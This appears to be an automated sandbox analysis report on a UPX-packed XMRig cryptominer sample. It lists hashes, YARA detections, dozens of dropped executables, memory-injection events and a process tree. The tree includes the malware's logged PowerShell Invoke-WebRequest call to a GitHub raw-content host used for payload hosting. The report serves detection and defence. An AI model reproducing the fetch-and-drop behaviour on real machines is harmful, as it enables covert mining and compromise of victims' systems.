xmrig | ccac2d85c6569243f3bec84a7ef52541dae8a44b2df14cb0efa9803db287b5df

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 14:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
Size

2.2MB
MD5

036e01de708933f654bc0463a6d7f43b
SHA1

acba71171a1ad7dc3995e01bae7bfac7bbc62e54
SHA256

ccac2d85c6569243f3bec84a7ef52541dae8a44b2df14cb0efa9803db287b5df
SHA512

79ba9a84101382cc033948a00433ce20190ba5446ae70db860e9cfab644cc02cfa2f62f5fe002501309b314b4e490ff288a8f4feb984ca0477dcca00bf181f06
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTWsuT9cef:NABG

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/1924-202-0x00007FF6B0DC0000-0x00007FF6B11B2000-memory.dmp	xmrig
behavioral2/memory/4388-263-0x00007FF70C320000-0x00007FF70C712000-memory.dmp	xmrig
behavioral2/memory/856-505-0x00007FF601B00000-0x00007FF601EF2000-memory.dmp	xmrig
behavioral2/memory/4396-526-0x00007FF70D0E0000-0x00007FF70D4D2000-memory.dmp	xmrig
behavioral2/memory/4476-506-0x00007FF77FA40000-0x00007FF77FE32000-memory.dmp	xmrig
behavioral2/memory/4268-471-0x00007FF67E8F0000-0x00007FF67ECE2000-memory.dmp	xmrig
behavioral2/memory/4636-470-0x00007FF7BE3C0000-0x00007FF7BE7B2000-memory.dmp	xmrig
behavioral2/memory/4484-438-0x00007FF764680000-0x00007FF764A72000-memory.dmp	xmrig
behavioral2/memory/3988-393-0x00007FF7F78D0000-0x00007FF7F7CC2000-memory.dmp	xmrig
behavioral2/memory/3968-354-0x00007FF798990000-0x00007FF798D82000-memory.dmp	xmrig
behavioral2/memory/4060-350-0x00007FF7302F0000-0x00007FF7306E2000-memory.dmp	xmrig
behavioral2/memory/4828-332-0x00007FF62A2F0000-0x00007FF62A6E2000-memory.dmp	xmrig
behavioral2/memory/3572-329-0x00007FF796A00000-0x00007FF796DF2000-memory.dmp	xmrig
behavioral2/memory/4624-301-0x00007FF7A1290000-0x00007FF7A1682000-memory.dmp	xmrig
behavioral2/memory/3356-264-0x00007FF61F800000-0x00007FF61FBF2000-memory.dmp	xmrig
behavioral2/memory/432-233-0x00007FF7468C0000-0x00007FF746CB2000-memory.dmp	xmrig
behavioral2/memory/952-198-0x00007FF719A10000-0x00007FF719E02000-memory.dmp	xmrig
behavioral2/memory/4456-159-0x00007FF7E4EE0000-0x00007FF7E52D2000-memory.dmp	xmrig
behavioral2/memory/1160-110-0x00007FF717F70000-0x00007FF718362000-memory.dmp	xmrig
behavioral2/memory/4700-82-0x00007FF797430000-0x00007FF797822000-memory.dmp	xmrig
behavioral2/memory/1976-58-0x00007FF66DDA0000-0x00007FF66E192000-memory.dmp	xmrig
behavioral2/memory/1160-5583-0x00007FF717F70000-0x00007FF718362000-memory.dmp	xmrig
behavioral2/memory/4060-5614-0x00007FF7302F0000-0x00007FF7306E2000-memory.dmp	xmrig
behavioral2/memory/3988-5638-0x00007FF7F78D0000-0x00007FF7F7CC2000-memory.dmp	xmrig
behavioral2/memory/856-5640-0x00007FF601B00000-0x00007FF601EF2000-memory.dmp	xmrig
behavioral2/memory/4636-5634-0x00007FF7BE3C0000-0x00007FF7BE7B2000-memory.dmp	xmrig
behavioral2/memory/4396-5631-0x00007FF70D0E0000-0x00007FF70D4D2000-memory.dmp	xmrig
behavioral2/memory/3968-5622-0x00007FF798990000-0x00007FF798D82000-memory.dmp	xmrig
behavioral2/memory/4484-5625-0x00007FF764680000-0x00007FF764A72000-memory.dmp	xmrig
behavioral2/memory/4624-5617-0x00007FF7A1290000-0x00007FF7A1682000-memory.dmp	xmrig
behavioral2/memory/952-5611-0x00007FF719A10000-0x00007FF719E02000-memory.dmp	xmrig
behavioral2/memory/1924-5605-0x00007FF6B0DC0000-0x00007FF6B11B2000-memory.dmp	xmrig
behavioral2/memory/3356-5600-0x00007FF61F800000-0x00007FF61FBF2000-memory.dmp	xmrig
behavioral2/memory/4828-5597-0x00007FF62A2F0000-0x00007FF62A6E2000-memory.dmp	xmrig
behavioral2/memory/4268-5678-0x00007FF67E8F0000-0x00007FF67ECE2000-memory.dmp	xmrig
behavioral2/memory/1976-5580-0x00007FF66DDA0000-0x00007FF66E192000-memory.dmp	xmrig
behavioral2/memory/4456-5577-0x00007FF7E4EE0000-0x00007FF7E52D2000-memory.dmp	xmrig
behavioral2/memory/4700-5576-0x00007FF797430000-0x00007FF797822000-memory.dmp	xmrig
behavioral2/memory/3572-5572-0x00007FF796A00000-0x00007FF796DF2000-memory.dmp	xmrig
behavioral2/memory/432-5586-0x00007FF7468C0000-0x00007FF746CB2000-memory.dmp	xmrig
behavioral2/memory/4388-5570-0x00007FF70C320000-0x00007FF70C712000-memory.dmp	xmrig
behavioral2/memory/4476-5565-0x00007FF77FA40000-0x00007FF77FE32000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2752	powershell.exe
5	2752	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1976	gWQhUZa.exe
4700	nyFwJAU.exe
1160	bNTcJhO.exe
4456	gHMmiFz.exe
952	nKGpuWu.exe
1924	GmCBqZM.exe
432	knnmlQV.exe
4388	FVSOQKk.exe
3356	eRrrvVB.exe
4624	oIsZNTx.exe
3572	ndSEGiV.exe
4476	BvUPSLT.exe
4828	Yhpcncp.exe
4060	KngXUji.exe
3968	UzHUkOF.exe
3988	CnyHmWI.exe
4484	aATShba.exe
4396	CqoANVJ.exe
4636	XXIdQhF.exe
4268	ukhDpkL.exe
856	faUOjsJ.exe
1064	IqLoJeC.exe
4028	CTiuWvN.exe
60	gJqJfRb.exe
1312	ZXuJQWe.exe
1592	HjqkCTb.exe
1980	zjfiMwB.exe
5064	vdkwnoF.exe
1224	tqOlAaU.exe
2940	eEezNYI.exe
1280	NYipkco.exe
3976	TrCSLdj.exe
3016	JSMVkYW.exe
1476	TsUeeBz.exe
3596	iBNdoaB.exe
4080	xcPBklJ.exe
4288	AfYfYai.exe
4564	fjUhbhb.exe
4236	KGjCyaj.exe
1632	qoPklaP.exe
4952	azmwZbN.exe
860	YLUgcjG.exe
4572	vxrOTvW.exe
448	hbzKlGQ.exe
2928	JUYAgYv.exe
1828	xrDOpLR.exe
4208	TKWcRls.exe
5008	zvUtWoA.exe
4064	mWsuDNU.exe
3648	dMQOaJt.exe
4052	lARyRiK.exe
1908	KolrzKa.exe
4516	EoVEeux.exe
2068	ycUqFtb.exe
1996	WdMWBBj.exe
1768	iewibkn.exe
4648	mPHgVFV.exe
3760	DiNlxSV.exe
4364	PDgppTH.exe
3348	bsWNFmD.exe
3468	nmtwwXK.exe
1396	BHlileH.exe
4360	AqhgHeu.exe
4508	kbDaJiw.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3860-0-0x00007FF6656D0000-0x00007FF665AC2000-memory.dmp	upx
behavioral2/files/0x0007000000023408-7.dat	upx
behavioral2/files/0x0006000000023288-5.dat	upx
behavioral2/files/0x0008000000023407-12.dat	upx
behavioral2/files/0x000700000002340b-37.dat	upx
behavioral2/files/0x000700000002340d-67.dat	upx
behavioral2/files/0x0007000000023419-97.dat	upx
behavioral2/memory/1924-202-0x00007FF6B0DC0000-0x00007FF6B11B2000-memory.dmp	upx
behavioral2/memory/4388-263-0x00007FF70C320000-0x00007FF70C712000-memory.dmp	upx
behavioral2/memory/856-505-0x00007FF601B00000-0x00007FF601EF2000-memory.dmp	upx
behavioral2/memory/4396-526-0x00007FF70D0E0000-0x00007FF70D4D2000-memory.dmp	upx
behavioral2/memory/4476-506-0x00007FF77FA40000-0x00007FF77FE32000-memory.dmp	upx
behavioral2/memory/4268-471-0x00007FF67E8F0000-0x00007FF67ECE2000-memory.dmp	upx
behavioral2/memory/4636-470-0x00007FF7BE3C0000-0x00007FF7BE7B2000-memory.dmp	upx
behavioral2/memory/4484-438-0x00007FF764680000-0x00007FF764A72000-memory.dmp	upx
behavioral2/memory/3988-393-0x00007FF7F78D0000-0x00007FF7F7CC2000-memory.dmp	upx
behavioral2/memory/3968-354-0x00007FF798990000-0x00007FF798D82000-memory.dmp	upx
behavioral2/memory/4060-350-0x00007FF7302F0000-0x00007FF7306E2000-memory.dmp	upx
behavioral2/memory/4828-332-0x00007FF62A2F0000-0x00007FF62A6E2000-memory.dmp	upx
behavioral2/memory/3572-329-0x00007FF796A00000-0x00007FF796DF2000-memory.dmp	upx
behavioral2/memory/4624-301-0x00007FF7A1290000-0x00007FF7A1682000-memory.dmp	upx
behavioral2/memory/3356-264-0x00007FF61F800000-0x00007FF61FBF2000-memory.dmp	upx
behavioral2/memory/432-233-0x00007FF7468C0000-0x00007FF746CB2000-memory.dmp	upx
behavioral2/files/0x0007000000023431-194.dat	upx
behavioral2/files/0x000700000002342f-192.dat	upx
behavioral2/files/0x000700000002342e-191.dat	upx
behavioral2/files/0x000700000002342b-190.dat	upx
behavioral2/files/0x0007000000023423-189.dat	upx
behavioral2/files/0x000700000002342a-188.dat	upx
behavioral2/files/0x0007000000023429-187.dat	upx
behavioral2/files/0x000700000002341d-183.dat	upx
behavioral2/files/0x0007000000023428-181.dat	upx
behavioral2/files/0x0007000000023427-179.dat	upx
behavioral2/files/0x000700000002341f-171.dat	upx
behavioral2/memory/952-198-0x00007FF719A10000-0x00007FF719E02000-memory.dmp	upx
behavioral2/files/0x0007000000023426-170.dat	upx
behavioral2/files/0x0007000000023430-193.dat	upx
behavioral2/files/0x0007000000023418-162.dat	upx
behavioral2/memory/4456-159-0x00007FF7E4EE0000-0x00007FF7E52D2000-memory.dmp	upx
behavioral2/files/0x0007000000023424-146.dat	upx
behavioral2/files/0x0007000000023422-141.dat	upx
behavioral2/files/0x0007000000023415-139.dat	upx
behavioral2/files/0x0007000000023416-136.dat	upx
behavioral2/files/0x0007000000023414-133.dat	upx
behavioral2/files/0x0007000000023421-131.dat	upx
behavioral2/files/0x000700000002341a-130.dat	upx
behavioral2/files/0x0007000000023420-128.dat	upx
behavioral2/files/0x000700000002341e-121.dat	upx
behavioral2/files/0x0007000000023417-114.dat	upx
behavioral2/memory/1160-110-0x00007FF717F70000-0x00007FF718362000-memory.dmp	upx
behavioral2/files/0x000700000002341c-140.dat	upx
behavioral2/files/0x000700000002340a-104.dat	upx
behavioral2/files/0x000700000002340f-101.dat	upx
behavioral2/files/0x0007000000023413-100.dat	upx
behavioral2/files/0x0007000000023411-84.dat	upx
behavioral2/memory/4700-82-0x00007FF797430000-0x00007FF797822000-memory.dmp	upx
behavioral2/files/0x000700000002341b-106.dat	upx
behavioral2/files/0x000700000002340e-72.dat	upx
behavioral2/files/0x000700000002340c-93.dat	upx
behavioral2/files/0x0007000000023412-89.dat	upx
behavioral2/memory/1976-58-0x00007FF66DDA0000-0x00007FF66E192000-memory.dmp	upx
behavioral2/files/0x0007000000023410-54.dat	upx
behavioral2/files/0x0007000000023409-34.dat	upx
behavioral2/memory/1160-5583-0x00007FF717F70000-0x00007FF718362000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
2	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\mNHQhYm.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\zqWhjsR.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\VtdtXTU.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\kYUsCua.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\HrTSgyj.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\fyjmkAM.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\beJMXxe.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\stQAplD.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\NYEwKwU.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\YnUbORP.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\WFMHhmR.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\AYtCIse.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\otBbPle.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\dPCqIKA.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\xiNVnLU.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\NuKnoqo.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\kWtxWEV.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\PLdFSKK.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\oatsxBl.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\cGyokth.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\tSCBMyf.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\gSFvobY.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\FVNgOEi.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\ixhFpDj.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\MXHUsAj.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\ArWvVql.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\HMMYXAd.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\ioERqgO.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\ziTHLUg.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\vpTnLBW.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\QEaighE.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\uzFOHFV.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\FHmOdzi.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\DHzLnGX.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\PyVEKsc.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\ozJCeoE.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\DgytkXl.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\DvkyvaN.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\NTbWCkT.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\BZzJsEK.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\XnmkiDp.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\AVZAraQ.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\xlmPkbg.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\rOtCbwB.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\xNHNhUP.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\uZSrZkV.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\gcGlgys.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\uAjgDNj.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\htagxwR.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\TsxrsnA.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\YKjhlcT.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\MzMmzFb.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\jFMlVER.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\mRJgjLq.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\LMiQUpi.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\XGueeUj.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\hcDhGWx.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\CDOHvAQ.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\FENULvX.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\YNrFeMu.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\GqTrfYJ.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\oLHooAx.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\uQMloGB.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
File created	C:\Windows\System\BwxuNcT.exe	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2752	powershell.exe
2752	powershell.exe
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeLockMemoryPrivilege	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3860 wrote to memory of 2752	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	82
PID 3860 wrote to memory of 2752	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	82
PID 3860 wrote to memory of 1976	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	83
PID 3860 wrote to memory of 1976	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	83
PID 3860 wrote to memory of 4700	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	84
PID 3860 wrote to memory of 4700	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	84
PID 3860 wrote to memory of 1160	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	85
PID 3860 wrote to memory of 1160	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	85
PID 3860 wrote to memory of 4456	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	86
PID 3860 wrote to memory of 4456	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	86
PID 3860 wrote to memory of 4624	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	87
PID 3860 wrote to memory of 4624	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	87
PID 3860 wrote to memory of 952	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	88
PID 3860 wrote to memory of 952	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	88
PID 3860 wrote to memory of 1924	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	89
PID 3860 wrote to memory of 1924	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	89
PID 3860 wrote to memory of 432	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	90
PID 3860 wrote to memory of 432	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	90
PID 3860 wrote to memory of 4388	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	91
PID 3860 wrote to memory of 4388	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	91
PID 3860 wrote to memory of 3356	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	92
PID 3860 wrote to memory of 3356	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	92
PID 3860 wrote to memory of 3572	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	93
PID 3860 wrote to memory of 3572	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	93
PID 3860 wrote to memory of 4476	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	94
PID 3860 wrote to memory of 4476	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	94
PID 3860 wrote to memory of 4828	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	95
PID 3860 wrote to memory of 4828	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	95
PID 3860 wrote to memory of 4060	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	96
PID 3860 wrote to memory of 4060	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	96
PID 3860 wrote to memory of 3968	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	97
PID 3860 wrote to memory of 3968	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	97
PID 3860 wrote to memory of 3988	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	98
PID 3860 wrote to memory of 3988	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	98
PID 3860 wrote to memory of 4484	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	99
PID 3860 wrote to memory of 4484	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	99
PID 3860 wrote to memory of 1064	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	100
PID 3860 wrote to memory of 1064	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	100
PID 3860 wrote to memory of 4396	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	101
PID 3860 wrote to memory of 4396	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	101
PID 3860 wrote to memory of 4636	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	102
PID 3860 wrote to memory of 4636	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	102
PID 3860 wrote to memory of 1592	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	103
PID 3860 wrote to memory of 1592	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	103
PID 3860 wrote to memory of 4268	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	104
PID 3860 wrote to memory of 4268	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	104
PID 3860 wrote to memory of 5064	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	105
PID 3860 wrote to memory of 5064	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	105
PID 3860 wrote to memory of 856	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	106
PID 3860 wrote to memory of 856	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	106
PID 3860 wrote to memory of 4028	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	107
PID 3860 wrote to memory of 4028	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	107
PID 3860 wrote to memory of 60	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	108
PID 3860 wrote to memory of 60	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	108
PID 3860 wrote to memory of 1312	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	109
PID 3860 wrote to memory of 1312	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	109
PID 3860 wrote to memory of 1980	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	110
PID 3860 wrote to memory of 1980	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	110
PID 3860 wrote to memory of 1224	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	111
PID 3860 wrote to memory of 1224	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	111
PID 3860 wrote to memory of 4080	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	112
PID 3860 wrote to memory of 4080	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	112
PID 3860 wrote to memory of 2940	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	113
PID 3860 wrote to memory of 2940	3860	036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe	113

C:\Users\Admin\AppData\Local\Temp\036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\036e01de708933f654bc0463a6d7f43b_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\System\gWQhUZa.exe
  C:\Windows\System\gWQhUZa.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\nyFwJAU.exe
  C:\Windows\System\nyFwJAU.exe
  2⤵
  - Executes dropped EXE
  PID:4700
- C:\Windows\System\bNTcJhO.exe
  C:\Windows\System\bNTcJhO.exe
  2⤵
  - Executes dropped EXE
  PID:1160
- C:\Windows\System\gHMmiFz.exe
  C:\Windows\System\gHMmiFz.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\oIsZNTx.exe
  C:\Windows\System\oIsZNTx.exe
  2⤵
  - Executes dropped EXE
  PID:4624
- C:\Windows\System\nKGpuWu.exe
  C:\Windows\System\nKGpuWu.exe
  2⤵
  - Executes dropped EXE
  PID:952
- C:\Windows\System\GmCBqZM.exe
  C:\Windows\System\GmCBqZM.exe
  2⤵
  - Executes dropped EXE
  PID:1924
- C:\Windows\System\knnmlQV.exe
  C:\Windows\System\knnmlQV.exe
  2⤵
  - Executes dropped EXE
  PID:432
- C:\Windows\System\FVSOQKk.exe
  C:\Windows\System\FVSOQKk.exe
  2⤵
  - Executes dropped EXE
  PID:4388
- C:\Windows\System\eRrrvVB.exe
  C:\Windows\System\eRrrvVB.exe
  2⤵
  - Executes dropped EXE
  PID:3356
- C:\Windows\System\ndSEGiV.exe
  C:\Windows\System\ndSEGiV.exe
  2⤵
  - Executes dropped EXE
  PID:3572
- C:\Windows\System\BvUPSLT.exe
  C:\Windows\System\BvUPSLT.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\Yhpcncp.exe
  C:\Windows\System\Yhpcncp.exe
  2⤵
  - Executes dropped EXE
  PID:4828
- C:\Windows\System\KngXUji.exe
  C:\Windows\System\KngXUji.exe
  2⤵
  - Executes dropped EXE
  PID:4060
- C:\Windows\System\UzHUkOF.exe
  C:\Windows\System\UzHUkOF.exe
  2⤵
  - Executes dropped EXE
  PID:3968
- C:\Windows\System\CnyHmWI.exe
  C:\Windows\System\CnyHmWI.exe
  2⤵
  - Executes dropped EXE
  PID:3988
- C:\Windows\System\aATShba.exe
  C:\Windows\System\aATShba.exe
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Windows\System\IqLoJeC.exe
  C:\Windows\System\IqLoJeC.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\CqoANVJ.exe
  C:\Windows\System\CqoANVJ.exe
  2⤵
  - Executes dropped EXE
  PID:4396
- C:\Windows\System\XXIdQhF.exe
  C:\Windows\System\XXIdQhF.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\HjqkCTb.exe
  C:\Windows\System\HjqkCTb.exe
  2⤵
  - Executes dropped EXE
  PID:1592
- C:\Windows\System\ukhDpkL.exe
  C:\Windows\System\ukhDpkL.exe
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\System\vdkwnoF.exe
  C:\Windows\System\vdkwnoF.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\faUOjsJ.exe
